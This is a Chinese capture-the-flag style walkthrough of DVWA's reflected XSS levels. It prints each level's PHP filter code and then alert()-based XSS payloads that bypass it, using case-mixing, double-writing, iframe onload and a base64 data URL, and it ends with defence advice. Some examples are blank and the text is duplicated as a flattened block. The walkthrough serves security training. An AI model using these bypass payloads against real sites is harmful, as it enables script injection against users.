DVWA下的XSS通关(反射型)
字数 1145 2025-08-15 21:32:22

DVWA反射型XSS通关详解

一、XSS基础概念

XSS(Cross Site Scripting)即跨站脚本攻击,是一种注入攻击形式,攻击者在页面中注入恶意脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行。

XSS分类:

  1. 存储型XSS:恶意代码存储在服务器中
  2. 反射型XSS:非持久化,需要欺骗用户点击特定链接才能触发
  3. DOM型XSS:基于DOM树的XSS,可能是存储型也可能是反射型

XSS常见用途:

  • 盗取用户cookies
  • 劫持会话
  • 流量劫持
  • 网页挂马
  • DDOS攻击
  • 权限提升

二、DVWA反射型XSS通关详解

1. Low Security Level

漏洞代码分析:

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; 
}

漏洞特征:

  • 直接采用GET方式传入name参数
  • 没有任何过滤与检查
  • 存在明显的XSS漏洞

测试Payload:

<script>alert(/xss/)</script>

URL编码分析:

  • %3C = <
  • %3E = >
  • %28 = (
  • %29 = )
  • %2F = /

2. Medium Security Level

防护代码分析:

$name = str_replace( '<script>', '', $_GET[ 'name' ] );

防护特点:

  • 使用str_replace函数将<script>替换为空
  • 黑名单防护机制

绕过方法:

  1. 大小写绕过

    <ScRipt>alert(/xss/)</ScRipt>
    
  2. 双写绕过

    <scr<script>ipt>alert(/xss/)</script>
    
  3. 使用非script标签

    • img标签:
      
      
    • iframe标签:
      <iframe onload=alert(1)>
      <iframe src=javascript:alert('xss');height=0 width=0 />
      

3. High Security Level

防护代码分析:

$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

防护特点:

  • 使用preg_replace函数进行正则替换
  • 正则表达式不区分大小写(i修饰符)
  • 防止了双写和大小写混淆绕过

绕过方法:

  1. 使用img标签及其变种

    
    

    编码变种:

    
    
    
    
  2. 使用iframe标签

    <iframe onload=alert(/xss/)>
    
  3. 使用DATA URL

    <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>
    

4. Impossible Security Level

防护代码分析:

$name = htmlspecialchars( $_GET[ 'name' ] );

防护特点:

  • 使用htmlspecialchars函数转换特殊字符为HTML实体
  • 转换规则:
    • & → &
    • " → "
    • ' → ' (需要ENT_QUOTES参数)
    • < → <
    • → >

防护效果:

  • 完全防止了反射型XSS利用
  • 可作为最佳加固方案参考

三、总结与防御建议

攻击技术总结:

  1. 基本XSS注入
  2. 编码绕过技术
  3. 标签替换技术
  4. 事件处理器利用
  5. DATA URL利用

防御建议:

  1. 输入过滤

    • 使用htmlspecialchars等函数转换特殊字符
    • 实施严格的白名单策略而非黑名单
  2. 输出编码

    • 根据输出上下文(HTML, JavaScript, CSS等)进行适当编码
  3. 内容安全策略(CSP)

    • 限制可执行脚本的来源
    • 防止内联脚本执行
  4. 其他措施

    • 设置HttpOnly标志保护cookie
    • 实施X-XSS-Protection头部
    • 使用现代框架的自动编码功能

通过理解这些攻击技术和防御措施,可以更好地保护Web应用免受XSS攻击的威胁。

DVWA反射型XSS通关详解 一、XSS基础概念 XSS(Cross Site Scripting)即跨站脚本攻击,是一种注入攻击形式,攻击者在页面中注入恶意脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行。 XSS分类: 存储型XSS :恶意代码存储在服务器中 反射型XSS :非持久化,需要欺骗用户点击特定链接才能触发 DOM型XSS :基于DOM树的XSS,可能是存储型也可能是反射型 XSS常见用途: 盗取用户cookies 劫持会话 流量劫持 网页挂马 DDOS攻击 权限提升 二、DVWA反射型XSS通关详解 1. Low Security Level 漏洞代码分析: 漏洞特征: 直接采用GET方式传入name参数 没有任何过滤与检查 存在明显的XSS漏洞 测试Payload: URL编码分析: %3C = < %3E = > %28 = ( %29 = ) %2F = / 2. Medium Security Level 防护代码分析: 防护特点: 使用str_ replace函数将 <script> 替换为空 黑名单防护机制 绕过方法: 大小写绕过 双写绕过 使用非script标签 img标签: iframe标签: 3. High Security Level 防护代码分析: 防护特点: 使用preg_ replace函数进行正则替换 正则表达式不区分大小写(i修饰符) 防止了双写和大小写混淆绕过 绕过方法: 使用img标签及其变种 编码变种: 使用iframe标签 使用DATA URL 4. Impossible Security Level 防护代码分析: 防护特点: 使用htmlspecialchars函数转换特殊字符为HTML实体 转换规则: & → &amp; " → &quot; ' → &#039; (需要ENT_ QUOTES参数) < → &lt; → &gt; 防护效果: 完全防止了反射型XSS利用 可作为最佳加固方案参考 三、总结与防御建议 攻击技术总结: 基本XSS注入 编码绕过技术 标签替换技术 事件处理器利用 DATA URL利用 防御建议: 输入过滤 : 使用htmlspecialchars等函数转换特殊字符 实施严格的白名单策略而非黑名单 输出编码 : 根据输出上下文(HTML, JavaScript, CSS等)进行适当编码 内容安全策略(CSP) : 限制可执行脚本的来源 防止内联脚本执行 其他措施 : 设置HttpOnly标志保护cookie 实施X-XSS-Protection头部 使用现代框架的自动编码功能 通过理解这些攻击技术和防御措施,可以更好地保护Web应用免受XSS攻击的威胁。